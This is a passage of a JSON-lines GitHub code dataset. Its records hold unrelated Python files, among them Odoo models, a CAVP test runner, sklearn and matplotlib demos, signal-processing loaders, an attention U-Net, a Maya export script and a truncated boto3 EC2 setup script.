default=fields.Date.context_today,\n )\n # FECHA FIN\n fecha_fin = fields.Date(\n string='Fecha Fin:',\n default=fields.Date.context_today,\n )\n # relacionando con cabecera - >detalle< -\n pvs_detalle_ids = fields.One2many(\n string='PVS Detalle',\n comodel_name='practicabusqueda.pvs_detalle',\n inverse_name='pvs_id',\n )\n\n # relacionando con cabecera - >detalle REGISTRO DE HORAS DE VUELO< -\n pvs_detalle_ids2 = fields.One2many(\n string='PVS Detalle',\n comodel_name='practicabusqueda.pvs_detalle',\n inverse_name='pvs_id',\n )\n # 2 ejemplos con related\n # si funciona\n # relacionando directamente un campo de otro lado\n prueba_relatedMo2 = fields.Many2one(\n string='ree',\n comodel_name='practicabusqueda.aeronave',\n ondelete='restrict',\n related='pvs_detalle_ids.aeronave_id',\n readonly=False,\n store=True,\n # si funciona\n # domain=[('id','=','1')]\n )\n prueba2_relatedMo2 = fields.Many2many(\n string='field_name',\n comodel_name='practicabusqueda.pilotos',\n relation='practicabusqueda_pvs_pilotos_rel',\n column1='pvs_id',\n column2='pilotos_id',\n related='pvs_detalle_ids.pvs_pilotos_ids',\n readonly=False,\n )\n # ESTADOS DE FIRMA\n state = fields.Selection(\n string='State',\n selection=[('activo', 'Activo'), ('aprobar1', 'Operaciones'), ('aprobar2', 'Comandante'), ('aprobar3', 'Operaciones COAVNA'), ('aprobar4', 'Comandante COAVNA')],\n default='activo',\n readonly=True,\n )\n \n \n def action_aprobar0(self):\n self.write({'state': 'aprobar1'})\n \n def action_aprobar1(self):\n self.write({'state': 'aprobar2'})\n \n def action_aprobar2(self):\n self.write({'state': 'aprobar3'})\n \n def action_aprobar3(self):\n self.write({'state': 'aprobar4'})\n \n # VALORES POR DEFECTO PVS\n @api.model\n def default_get(self, fields):\n res = super(pvs, self).default_get(fields)\n pvs_detalle_ids =[(5,0,0)]\n pvs_detalle_rec = self.env['practicabusqueda.pvs_detalle'].search([]) # O2M a recorrer\n # var = str(pvs_detalle_rec[-1].fecha)\n # d = var.split('-')\n # raise ValidationError(\"LOS NOMBRES SON {}\".format(d[2]))\n\n for detalle in pvs_detalle_rec:\n line = (0,0,{\n # campos de la clase pvs_detalle\n 'fecha': detalle.fecha,\n 'hora': detalle.hora,\n # 'aeronave_id': detalle.aeronave_id\n \n })\n pvs_detalle_ids.append(line)\n res.update({\n 'pvs_detalle_ids': pvs_detalle_ids,\n \n 'fecha_inicio': '07/06/2020',\n 'fecha_fin': '07/12/2020',\n 'name': 'SEMANA DEL AL '\n })\n \n return res\n \n ","repo_name":"darkkeduardo/sitaxs","sub_path":"models/pvs.py","file_name":"pvs.py","file_ext":"py","file_size_in_byte":3527,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38419937700","text":"import sys\nfrom shared import Shared\nfrom globals import DrvHashType, ReturnStatus\nfrom cavp_mgr import CAVP_Mgr\nfrom log_mgr import LogMgr\nfrom version import get_version_string\nfrom configs import Configs\nimport argparse\n\nlogger = LogMgr(__file__)\n\ndef drv_init(drivers):\n pass\n\ndef main(argv):\n\n logger.log_session_id()\n logger.log(\"CAVP Tester started!\")\n logger.log(f\"Version: {get_version_string()}\")\n\n lib = Shared()\n if lib.load('./targets/target.so') != ReturnStatus.SUCCESS:\n logger.error(\"Critical error when loading library!\")\n return ReturnStatus.ERROR\n\n mgr = CAVP_Mgr(lib.get_library())\n logger.log(\"CAVP_Mgr ready\")\n\n logger.log(\"Running tests!\")\n\n cnt = 1\n tests_result_array = []\n for i in Configs.TESTS:\n logger.log(f\"Test round: {cnt}\")\n logger.log(f\"Tests type: {i}\")\n res = mgr[i]()\n tests_result_array += [{i : res}]\n cnt += 1\n \n logger.log(\"Testing done!\")\n logger.log(\"Final result:\")\n for result in tests_result_array:\n for key in result:\n logger.log(f\"{key} - {result[key][0]} of {result[key][1]}\")\n\n \n\n\nif __name__ == \"__main__\":\n main(sys.argv)","repo_name":"Zontec/CAVP-Test-Engine","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33965181963","text":"from pymongo import MongoClient\r\nfrom pprint import pprint\r\n\r\nclient = MongoClient('localhost', 27017)\r\ndb = client['instagram_SUPER']\r\nusers = db.instagram\r\n\r\nname = input('Укажите имя пользователя: ')\r\ncnt = users.count_documents({'$and': [{'name_followers': name_followers}]})\r\nprint(f'Подписчики {cnt}:')\r\nfor user in users.find({'$and': [{'source_name': name_followers}]}):\r\n pprint(user)\r\nprint('_____________________________________')\r\ncnt = users.count_documents({'$and': [{'name_following': name_following}]})\r\nprint(f'Подписки {cnt}:')\r\nfor user in users.find({'$and': [{'name_following': name_following}]}):\r\n pprint(user)","repo_name":"Multik838/Instagram_db","sub_path":"base_filter.py","file_name":"base_filter.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13078192765","text":"import pandas as pd\nfrom sklearn import preprocessing\nle=preprocessing.LabelEncoder()\n\ndata=pd.read_csv('banking.csv', delimiter=',')\nd=data.as_matrix()\nX=d[:,1]\nle.fit(X)\nk=le.transform(X)\nprint(k[0:20])\nprint(X[0:20])\n\n\nenc =preprocessing.OneHotEncoder()\nprint(k.shape)\nk=k.reshape(-1,1)\nprint(k.shape)\nenc.fit(k)\n\np=enc.transform(k[0:20])\n\nprint(p[0:20])\n\n","repo_name":"praseedm/Advance-AI","sub_path":"ML/Day5/onehot2.py","file_name":"onehot2.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"19976983053","text":"import unittest\n\nfrom preprocessor.mesh_preprocessor import MeshManager\n\n\nclass TestMeshManagerFoum(unittest.TestCase):\n \"\"\"Test integration of mesh manager with the two phase solver.\"\"\"\n\n def setUp(self):\n self.mesh = MeshManager(\"meshes/mesh_test_conservative.msh\", dim=3)\n sw = 0.2\n so_i = 0.9\n self.mesh.set_media_property(\"Water_Sat_i\", {1: sw}, dim_target=3)\n self.mesh.set_media_property(\"Oil_Sat_i\", {1: so_i}, dim_target=3)\n self.mesh.set_media_property(\"Water_Sat\", {1: sw}, dim_target=3)\n self.mesh.set_boundary_condition(\n \"SW_BC\", {102: 1.0}, dim_target=2, set_nodes=True\n )\n\n def test_reading_mesh_return_moab_mesh_instance(self):\n \"\"\"Test that MeshManager return a moab object containing the mesh.\"\"\"\n volumes = self.mesh.all_volumes\n\n self.assertTrue(self.mesh)\n self.assertEqual(len(volumes), 96)\n\n def test_water_saturation_initial_cond(self):\n \"\"\"Test setting water saturation Initial Cond at the volumes\"\"\"\n water_saturation_tag = self.mesh.water_sat_tag\n volumes = self.mesh.all_volumes\n for volume in volumes:\n water_saturation = self.mesh.mb.tag_get_data(\n water_saturation_tag, volume\n )[0]\n self.assertEqual(water_saturation, 0.2)\n\n def test_add_water_saturation_BC(self):\n \"\"\"Test that boundary conditions to the saturation problem is set.\"\"\"\n water_saturation_bc_tag = self.mesh.water_sat_bc_tag\n for face in self.mesh.sat_BC_faces:\n sw = self.mesh.mb.tag_get_data(water_saturation_bc_tag, face)[0]\n self.assertEqual(sw, 1.0)\n","repo_name":"gpkc/mpfa-d","sub_path":"tests/test_foum_mesh.py","file_name":"test_foum_mesh.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"14745212739","text":"import datetime\n\nfrom odoo import _, api, fields, models\nfrom odoo.exceptions import ValidationError\n\nclass CheckPaymentTransactionPayment(models.Model):\n\n _name = 'check.payment.transaction.payment'\n _description = 'Check Payment'\n _inherits = {'check.payment.transaction': 'check_payment_transaction_id'}\n\n check_payment_transaction_id = fields.Many2one('check.payment.transaction', required=True, string='Payment Reference', ondelete='cascade')\n account_payment_id = fields.Many2one('account.payment', readonly=True, string='Payment Reference', ondelete='cascade', index=True, states={'draft': [('readonly', False)]})\n\n\n @api.multi\n def _compute_payment_type(self):\n for rec in self:\n if rec.account_payment_id:\n if rec.account_payment_id.payment_type == 'inbound':\n rec.payment_type = rec.account_payment_id.payment_type\n elif rec.account_payment_id.payment_type == 'outbound':\n rec.payment_type = rec.account_payment_id.payment_type\n else:\n rec.payment_type = 'inbound'\n\n @api.model\n def create(self, vals):\n \n if vals.get('account_payment_id', False):\n account_payment = self.env['account.payment'].browse(vals['account_payment_id'])\n vals['journal_id'] = account_payment.journal_id.id\n vals['partner_id'] = account_payment.partner_id.id\n vals['currency_id'] = account_payment.currency_id.id\n if account_payment.payment_type == 'inbound':\n vals['payment_type'] = 'inbound'\n elif account_payment.payment_type == 'outbound':\n vals['payment_type'] = 'outbound'\n \n res = super(CheckPaymentTransactionPayment, self).create(vals)\n \n return res\n\n @api.multi\n def action_receive(self):\n for rec in self:\n if rec.state != 'draft':\n raise UserError(_(\"Only a check with status draft can be received.\"))\n\n rec.name = rec.check_name + ' ' + rec.check_number\n rec.write({'state': 'received'})\n\n @api.multi\n def action_issue(self):\n for rec in self:\n if rec.state != 'draft':\n raise UserError(_(\"Only a check with status draft can be issued.\"))\n\n rec.name = rec.check_name + ' ' + rec.check_number\n rec.write({'state': 'issued'})\n","repo_name":"odoo-modules/realestate","sub_path":"account_check_payment/models/check_payment_transaction_payment.py","file_name":"check_payment_transaction_payment.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"5507421868","text":"import os, numpy as np\nimport torch\n\nimport matplotlib.pyplot as plt\nfrom matplotlib import animation\nos.environ['KMP_DUPLICATE_LIB_OK']='True'\n\nplt.rcParams.update({\n \"text.usetex\": True,\n \"font.family\": \"serif\",\n \"font.serif\": [\"Palatino\"],\n})\n\n\nm1 = torch.tensor([0.0,0.0])\nstd1 = torch.tensor([[1.0,0.8],[0.8,1.0]])\nd1 = torch.distributions.MultivariateNormal(m1,std1)\n\nNgr = 100\nw,wplot = 6, 6\nxnp = np.linspace(-w, w, Ngr)\nynp = np.linspace(-w, w, Ngr)\nX,Y = np.meshgrid(xnp, ynp)\nXY = torch.tensor(np.array([X.T.flatten(), Y.T.flatten()]).T).to(torch.float32)\n\n\ndef plot_surface(loss_fnc, trajs=[], labels=[], colors=['firebrick','darkorange'], styles=['.-','-'], \\\n title=None, return_fig=False):\n if return_fig:\n fig = plt.figure(1,(6,6))\n ax1 = plt.subplot(1,1,1) \n loss_XY = loss_fnc(XY).detach().numpy().reshape(Ngr,Ngr)\n im = ax1.contour(X, Y, loss_XY, levels=50)\n if title is not None:\n ax1.set_title(title,fontsize=25)\n h1, = ax1.plot(trajs[0][:,0],trajs[0][:,1], styles[0], color=colors[0], lw=3)\n h2, = ax1.plot(trajs[1][:,0],trajs[1][:,1], styles[1], color=colors[1], lw=3)\n if len(labels)>0:\n assert len(labels)==len(trajs)\n ax1.legend(labels,fontsize=18,loc='lower right')\n ax1.tick_params(axis='both',which='both',left=False,right=False,bottom=False,top=False,\\\n labelbottom=False,labelleft=False) \n plt.tight_layout()\n if return_fig:\n return fig,ax1,h1,h2\n else:\n plt.show()\n\n\ndef plot_opt_animation(loss_fnc, gd_loss_trace, ode_loss_trace):\n num_euler_steps = ode_loss_trace.shape[0] // gd_loss_trace.shape[0]\n num_opt_iters = gd_loss_trace.shape[0] \n fig,ax1,h1,h2 = plot_surface(loss_fnc, [gd_loss_trace,ode_loss_trace], ['GD','ODE flow'], \\\n title='GD vs ODE flow (iteration - 0)', return_fig=True)\n def animate(i):\n h1.set_data(gd_loss_trace[:i,0], gd_loss_trace[:i,1])\n h2.set_data(ode_loss_trace[:num_euler_steps*i,0], ode_loss_trace[:num_euler_steps*i,1])\n ax1.set_title(f'GD vs ODE flow (iteration - {i+1})')\n return (ax1,h1,h2)\n anim = animation.FuncAnimation(fig, animate, frames=num_opt_iters, interval=125, blit=False)\n plt.close()\n return anim \n\n\ndef plot_mcmc_surface(*ps, betas):\n Ngr = 50\n xnp = np.linspace(-2, 6, Ngr)\n ynp = np.linspace(-2, 6, Ngr)\n X,Y = np.meshgrid(xnp, ynp)\n XY = torch.tensor(np.array([X.T.flatten(), Y.T.flatten()])).to(torch.float32).T\n ds = [pi_(XY).reshape(Ngr,Ngr) for pi_ in ps]\n L = len(ps)\n plt.figure(1,(4*L,3))\n for i,dens in enumerate(ds):\n plt.subplot(1,L,i+1)\n plt.contourf(X, Y, dens, levels=20)\n plt.xlim([-2,6])\n plt.ylim([-2,6])\n plt.colorbar()\n plt.title(r'$\\beta=${:.2f}'.format(betas[i]),fontsize=18)\n\ndef plot_mcmc_animation(pi, thetas, betas, num_frames=20):\n Ngr = 50\n xnp = np.linspace(-2, 6, Ngr)\n ynp = np.linspace(-2, 6, Ngr)\n X,Y = np.meshgrid(xnp, ynp)\n XY = torch.tensor(np.array([X.T.flatten(), Y.T.flatten()])).to(torch.float32).T\n map_XY = pi(XY).reshape(Ngr,Ngr)\n S = len(betas) // num_frames\n \n from matplotlib.gridspec import GridSpec\n fig = plt.figure(figsize=(14,6))\n gs = GridSpec(3, 2)\n ax1 = fig.add_subplot(gs[:, 0])\n ax2 = fig.add_subplot(gs[0, 1])\n ax3 = fig.add_subplot(gs[1, 1])\n ax4 = fig.add_subplot(gs[2, 1])\n \n def animate(i):\n ax1.clear()\n ax2.clear()\n ax3.clear()\n ax4.clear()\n idx = int(S*i)\n ax1.contourf(X, Y, map_XY, levels=20)\n ax1.plot(thetas[:idx,0], thetas[:idx,1], '-r')\n ax1.plot(thetas[0,0], thetas[0,1], '.w', markersize=20)\n ax1.set_xlim([-2,6])\n ax1.set_ylim([-2,6])\n ax1.set_title(f'samples - iter \\# {S*(i+1)}',fontsize=20)\n ax2.plot(np.arange(idx), betas[:idx],'-b')\n ax2.set_xlim([-len(betas)/10, len(betas)])\n ax2.set_ylim([np.min(betas)-np.max(betas)/10, np.max(betas) + np.max(betas)/10])\n ax2.grid()\n ax2.set_title(f'beta - iter \\# {S*(i+1)}',fontsize=15)\n ax3.plot(np.arange(idx), thetas[:idx,0], '-r')\n ax3.set_xlim([-len(betas)/10, len(betas)])\n ax3.set_ylim([np.min(thetas[:,0]) - np.max(thetas[:,0])/10, \\\n np.max(thetas[:,0]) + np.max(thetas[:,0])/10])\n ax3.grid()\n ax4.plot(np.arange(idx), thetas[:idx,1], '-r')\n ax4.set_xlim([-len(betas)/10, len(betas)])\n ax4.set_ylim([np.min(thetas[:,1]) - np.max(thetas[:,1])/10, \\\n np.max(thetas[:,1]) + np.max(thetas[:,1])/10])\n ax4.grid()\n plt.tight_layout()\n \n anim = animation.FuncAnimation(fig, animate, frames=num_frames, interval=125)\n plt.close()\n return anim","repo_name":"cagatayyildiz/sde-mcmc-lecture","sub_path":"anim_utils.py","file_name":"anim_utils.py","file_ext":"py","file_size_in_byte":4810,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"1811100931","text":"import numpy as np\n# import cPickle\n# import _pickle as cPickle\n# from plot_data import plot_IQ\nfrom feature_extraction import cal_mag,feature_cal\n\ndef load_zigbee_25M_data(size=1024, n=1000):\n # load size*n IQdata\n IQdata = np.fromfile('Data/usrp_25M_data_with_telosb.dat',dtype=\"float32\",count=size*2*n)\n # merge these data into complex form\n IQcomplex = map(complex,IQdata[0::2],IQdata[1::2])\n # change these data into complex type\n IQcomplex = np.array(list(IQcomplex),dtype=complex)\n # save data\n# IQdata[index*1024*2:(index+1)*1024*2].tofile(\"./usrp_81us.dat\")\n return IQcomplex\n\ndef load_wifi_25M_data(n=100):\n # load 1024*n IQdata\n IQdata = np.fromfile('Data/usrp_wifi_cf2433M_sr25M.dat',dtype=\"float32\",count=1024*2*n)\n # merge these data into complex form\n IQcomplex = map(complex,IQdata[0::2],IQdata[1::2])\n # change these data into complex type\n IQcomplex = np.array(list(IQcomplex),dtype=complex)\n return IQcomplex\n\n\ndef load_data(size=1024, filename='9.11usrp_zigbeeonwifi_rxgain10.dat', n=10000):\n # load size*n IQdata\n IQdata = np.fromfile(filename, dtype=\"float32\", count=size * 2 * n)\n # merge these data into complex form\n IQcomplex = map(complex, IQdata[0::2], IQdata[1::2])\n # change these data into complex type\n IQcomplex = np.array(list(IQcomplex), dtype=complex)\n\n # IQdata = IQcomplex.real,IQcomplex.imag\n return IQcomplex\n\n","repo_name":"weidongz/Rubbish_Code","sub_path":"USRP_signal_processing/deep_learning/load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"75"} +{"seq_id":"34789271531","text":"# 암호 만들기\r\nL, C = map(int, input().split()) # 암호 L개, C개 총 알파벳\r\nstrings = list(map(str, input().split()))\r\nsorted_strs = sorted(strings)\r\nvowel = ['a', 'e', 'i', 'o', 'u']\r\nresult = ''\r\n\r\n\r\ndef backtracking(result, start):\r\n vowel_cnt = 0\r\n if len(result) == L:\r\n for i in result:\r\n if i in vowel:\r\n vowel_cnt += 1\r\n if vowel_cnt > 0 and (len(result) - vowel_cnt > 1):\r\n print(result)\r\n return\r\n else:\r\n for i in range(start, C):\r\n if not result or (result[-1] < sorted_strs[i]):\r\n result = result + sorted_strs[i]\r\n backtracking(result, start+1)\r\n result = result[0:-1]\r\n\r\n\r\nbacktracking(result, 0)\r\n\r\n","repo_name":"skysky44/algorithm","sub_path":"백준/Gold/1759. 암호 만들기/암호 만들기.py","file_name":"암호 만들기.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"31461340794","text":"import math\nfrom typing import Callable, Union\n\nfrom mbtk.math.PMF import PMF, CPMF\nfrom mbtk.math.Variable import Variable, JointVariables\n\n\ndef mutual_information(\n PrXY: PMF,\n PrX: PMF,\n PrY: PMF,\n base=2,\n) -> float:\n\n logarithm = create_logarithm_function(base)\n MI = 0.0\n for (x, px) in PrX.items():\n for (y, py) in PrY.items():\n pxy = PrXY.p(x, y)\n if pxy == 0 or px == 0 or py == 0:\n continue\n else:\n pMI = pxy * logarithm(pxy / (px * py))\n MI += pMI\n return MI\n\n\n\ndef conditional_mutual_information(\n PrXYcZ: CPMF,\n PrXcZ: CPMF,\n PrYcZ: CPMF,\n PrZ: PMF,\n base: Union[float, str] = 2,\n) -> float:\n\n logarithm = create_logarithm_function(base)\n cMI = 0.0\n for (z, pz) in PrZ.items():\n for (x, pxcz) in PrXcZ.given(z).items():\n for (y, pycz) in PrYcZ.given(z).items():\n pxycz = PrXYcZ.given(z).p(x, y)\n if pxycz == 0 or pxcz == 0 or pycz == 0:\n continue\n else:\n pcMI = pz * pxycz * logarithm(pxycz / (pxcz * pycz))\n cMI += pcMI\n return abs(cMI)\n\n\n\ndef calculate_pmf_for_mi(X: Variable, Y: Variable) -> tuple[PMF, PMF, PMF]:\n PrXY = PMF(JointVariables(X, Y))\n PrX = PMF(X)\n PrY = PMF(Y)\n\n return (PrXY, PrX, PrY)\n\n\n\ndef calculate_pmf_for_cmi(\n X: Variable,\n Y: Variable,\n Z: Union[Variable, JointVariables],\n) -> tuple[CPMF, CPMF, CPMF, PMF]:\n\n PrXYcZ = CPMF(JointVariables(X, Y), Z)\n PrXcZ = CPMF(X, Z)\n PrYcZ = CPMF(Y, Z)\n PrZ = PMF(Z)\n\n return (PrXYcZ, PrXcZ, PrYcZ, PrZ)\n\n\n\ndef create_logarithm_function(base: Union[str, float]) -> Callable[[float], float]:\n if base == 'e':\n return math.log\n elif base == 2:\n return math.log2\n elif base == 10:\n return math.log10\n else:\n assert isinstance(base, float)\n return lambda x: math.log(x, float(base))\n","repo_name":"camilbancioiu/mbtk","sub_path":"mbtk/math/infotheory.py","file_name":"infotheory.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"32916278326","text":"from __future__ import absolute_import\n\nfrom tensorflow import expand_dims\nfrom tensorflow.compat.v1 import image\nfrom tensorflow.keras.layers import MaxPooling2D, AveragePooling2D, UpSampling2D, Conv2DTranspose, GlobalAveragePooling2D\nfrom tensorflow.keras.layers import Conv2D, DepthwiseConv2D, Lambda\nfrom tensorflow.keras.layers import BatchNormalization, Activation, concatenate, multiply, add\nfrom tensorflow.keras.layers import ReLU, LeakyReLU, PReLU, ELU, Softmax\n\ndef decode_layer(X, channel, pool_size, unpool, kernel_size=3, \n activation='ReLU', batch_norm=False, name='decode'):\n '''\n An overall decode layer, based on either upsampling or trans conv.\n \n decode_layer(X, channel, pool_size, unpool, kernel_size=3,\n activation='ReLU', batch_norm=False, name='decode')\n \n Input\n ----------\n X: input tensor.\n pool_size: the decoding factor.\n channel: (for trans conv only) number of convolution filters.\n unpool: True or 'bilinear' for Upsampling2D with bilinear interpolation.\n 'nearest' for Upsampling2D with nearest interpolation.\n False for Conv2DTranspose + batch norm + activation. \n kernel_size: size of convolution kernels. \n If kernel_size='auto', then it equals to the `pool_size`.\n activation: one of the `tensorflow.keras.layers` interface, e.g., ReLU.\n batch_norm: True for batch normalization, False otherwise.\n name: prefix of the created keras layers.\n \n Output\n ----------\n X: output tensor.\n \n * The defaut: `kernel_size=3`, is suitable for `pool_size=2`.\n \n '''\n # parsers\n if unpool is False:\n # trans conv configurations\n bias_flag = not batch_norm\n \n elif unpool == 'nearest':\n # upsample2d configurations\n unpool = True\n interp = 'nearest'\n \n elif (unpool is True) or (unpool == 'bilinear'):\n # upsample2d configurations\n unpool = True\n interp = 'bilinear'\n \n else:\n raise ValueError('Invalid unpool keyword')\n \n if unpool:\n X = UpSampling2D(size=(pool_size, pool_size), interpolation=interp, name='{}_unpool'.format(name))(X)\n else:\n if kernel_size == 'auto':\n kernel_size = pool_size\n \n X = Conv2DTranspose(channel, kernel_size, strides=(pool_size, pool_size), \n padding='same', name='{}_trans_conv'.format(name))(X)\n \n # batch normalization\n if batch_norm:\n X = BatchNormalization(axis=3, name='{}_bn'.format(name))(X)\n \n # activation\n if activation is not None:\n activation_func = eval(activation)\n X = activation_func(name='{}_activation'.format(name))(X)\n \n return X\n\ndef attention_gate(X, g, channel, \n activation='ReLU', \n attention='add', name='att'):\n '''\n Self-attention gate modified from Oktay et al. 2018.\n \n attention_gate(X, g, channel, activation='ReLU', attention='add', name='att')\n \n Input\n ----------\n X: input tensor, i.e., key and value.\n g: gated tensor, i.e., query.\n channel: number of intermediate channel.\n Oktay et al. (2018) did not specify (denoted as F_int).\n intermediate channel is expected to be smaller than the input channel.\n activation: a nonlinear attnetion activation.\n The `sigma_1` in Oktay et al. 2018. Default is 'ReLU'.\n attention: 'add' for additive attention; 'multiply' for multiplicative attention.\n Oktay et al. 2018 applied additive attention.\n name: prefix of the created keras layers.\n \n Output\n ----------\n X_att: output tensor.\n \n '''\n activation_func = eval(activation)\n attention_func = eval(attention)\n \n # mapping the input tensor to the intermediate channel\n theta_att = Conv2D(channel, 1, use_bias=True, name='{}_theta_x'.format(name))(X)\n \n # mapping the gate tensor\n phi_g = Conv2D(channel, 1, use_bias=True, name='{}_phi_g'.format(name))(g)\n \n # ----- attention learning ----- #\n query = attention_func([theta_att, phi_g], name='{}_add'.format(name))\n \n # nonlinear activation\n f = activation_func(name='{}_activation'.format(name))(query)\n \n # linear transformation\n psi_f = Conv2D(1, 1, use_bias=True, name='{}_psi_f'.format(name))(f)\n # ------------------------------ #\n \n # sigmoid activation as attention coefficients\n coef_att = Activation('sigmoid', name='{}_sigmoid'.format(name))(psi_f)\n \n # multiplicative attention masking\n X_att = multiply([X, coef_att], name='{}_masking'.format(name))\n \n return X_att\n\ndef CONV_stack(X, channel, kernel_size=3, stack_num=2, \n dilation_rate=1, activation='ReLU', \n batch_norm=False, name='conv_stack'):\n '''\n Stacked convolutional layers:\n (Convolutional layer --> batch normalization --> Activation)*stack_num\n \n CONV_stack(X, channel, kernel_size=3, stack_num=2, dilation_rate=1, activation='ReLU', \n batch_norm=False, name='conv_stack')\n \n \n Input\n ----------\n X: input tensor.\n channel: number of convolution filters.\n kernel_size: size of 2-d convolution kernels.\n stack_num: number of stacked Conv2D-BN-Activation layers.\n dilation_rate: optional dilated convolution kernel.\n activation: one of the `tensorflow.keras.layers` interface, e.g., ReLU.\n batch_norm: True for batch normalization, False otherwise.\n name: prefix of the created keras layers.\n \n Output\n ----------\n X: output tensor\n \n '''\n \n bias_flag = not batch_norm\n \n # stacking Convolutional layers\n for i in range(stack_num):\n \n activation_func = eval(activation)\n \n # linear convolution\n X = Conv2D(channel, kernel_size, padding='same', use_bias=bias_flag, \n dilation_rate=dilation_rate, name='{}_{}'.format(name, i))(X)\n \n # batch normalization\n if batch_norm:\n X = BatchNormalization(axis=3, name='{}_{}_bn'.format(name, i))(X)\n \n # activation\n activation_func = eval(activation)\n X = activation_func(name='{}_{}_activation'.format(name, i))(X)\n \n return X\n\n\n##### From https://github.com/yingkaisha/keras-unet-collection/blob/main/keras_unet_collection\n# based on https://www.sciencedirect.com/science/article/pii/S1361841518306133\ndef UNET_att_right(X, X_left, channel, att_channel, kernel_size=3, stack_num=2,\n activation='ReLU', atten_activation='ReLU', attention='add',\n unpool=True, batch_norm=False, name='right0'):\n '''\n the decoder block of Attention U-net.\n \n UNET_att_right(X, X_left, channel, att_channel, kernel_size=3, stack_num=2,\n activation='ReLU', atten_activation='ReLU', attention='add',\n unpool=True, batch_norm=False, name='right0')\n \n Input\n ----------\n X: input tensor\n X_left: the output of corresponded downsampling output tensor (the input tensor is upsampling input)\n channel: number of convolution filters\n att_channel: number of intermediate channel. \n kernel_size: size of 2-d convolution kernels.\n stack_num: number of convolutional layers.\n activation: one of the `tensorflow.keras.layers` or `keras_unet_collection.activations` interfaces, e.g., 'ReLU'.\n atten_activation: a nonlinear attnetion activation.\n The `sigma_1` in Oktay et al. 2018. Default is 'ReLU'.\n attention: 'add' for additive attention. 'multiply' for multiplicative attention.\n Oktay et al. 2018 applied additive attention.\n unpool: True or \"bilinear\" for Upsampling2D with bilinear interpolation.\n \"nearest\" for Upsampling2D with nearest interpolation.\n False for Conv2DTranspose + batch norm + activation. \n batch_norm: True for batch normalization, False otherwise.\n name: prefix of the created keras layers.\n Output\n ----------\n X: output tensor.\n \n '''\n \n pool_size = 2\n \n X = decode_layer(X, channel, pool_size, unpool, \n activation=activation, batch_norm=batch_norm, name='{}_decode'.format(name))\n \n X_left = attention_gate(X=X_left, g=X, channel=att_channel, activation=atten_activation, \n attention=attention, name='{}_att'.format(name))\n \n # Tensor concatenation\n H = concatenate([X, X_left], axis=-1, name='{}_concat'.format(name))\n \n # stacked linear convolutional layers after concatenation\n H = CONV_stack(H, channel, kernel_size, stack_num=stack_num, activation=activation, \n batch_norm=batch_norm, name='{}_conv_after_concat'.format(name))\n \n return H","repo_name":"NichD/nick-dana-challenge","sub_path":"src/task_model/attention.py","file_name":"attention.py","file_ext":"py","file_size_in_byte":9094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14614120962","text":"import datetime\nimport csv\nimport sys\n\n# export implicit-crowds data format in csv\n# implicit-crowds repository:https://github.com/johnoriginal/implicit-crowds\n\nspheres = cmds.ls(\"dmd*\", selection=True, transforms=True)\nstart_time = 1\nend_time = 313\n\ncurpath = \"F:\\\\Github\\\\implicit-crowds\\\\data\\\\\"\ncur_time = datetime.datetime.now().__format__('%Y%m%d%H%M%S')\n\nstart_poss = []\nend_poss = []\n\nmin_x = min_y = sys.float_info.max\nmax_x = max_y = sys.float_info.min\n\ncmds.currentTime(start_time)\nfor s in spheres:\n pos = cmds.objectCenter(s, gl=True)\n # print pos\n start_str = str(pos[0]) + \" \" + str(pos[2])\n start_poss.append(start_str)\n min_x = min(pos[0], min_x)\n min_y = min(pos[2], min_y)\n max_x = max(pos[0], max_x)\n max_y = max(pos[2], max_y)\n\ncmds.currentTime(end_time)\nfor s in spheres:\n pos = cmds.objectCenter(s, gl=True)\n # print pos\n start_str = str(pos[0]) + \" \" + str(pos[2])\n end_poss.append(start_str)\n min_x = min(pos[0], min_x)\n min_y = min(pos[2], min_y)\n max_x = max(pos[0], max_x)\n max_y = max(pos[2], max_y)\n\nwith open(curpath + cur_time + '.csv', 'w') as f:\n writer = csv.writer(f)\n index = 0\n speed = 4.0\n radius = 1.74\n writer.writerow([str(min_x - 10) + \" \" + str(max_x + 10)])\n writer.writerow([str(min_y - 10) + \" \" + str(max_y + 10)])\n writer.writerow([str(len(spheres))])\n for s in spheres:\n writer.writerow(\n [str(index) + \" \" + start_poss[index] + \" \" + end_poss[index] + \" \" + str(speed) + \" \" + str(radius)])\n index += 1\n","repo_name":"elmagnificogi/MyTools","sub_path":"maya/MayaExport2ImplicitCrowds.py","file_name":"MayaExport2ImplicitCrowds.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"15566160314","text":"import boto3\n\nuser_data = \"\"\"#!/bin/bash\necho \"Hi from $(hostname)\" > /var/www/html/index.html\necho \"yourkeyname\" >> /var/www/html/index.html\nsudo yum update -y\nsudo amazon-linux-extras install -y lamp-mariadb10.2-php7.2\nsudo yum install -y httpd mariadb-server\nsudo systemctl start httpd\nsudo systemctl enable httpd\n\"\"\"\n#replace \"yourkeyname\" withyour pem key\n\nec2 = boto3.resource('ec2')\n\nvpc = list(ec2.vpcs.filter(Filters=[{'Name': 'isDefault', 'Values': ['true']}]))[0]\n\nsubnets = [subnet.id for subnet in 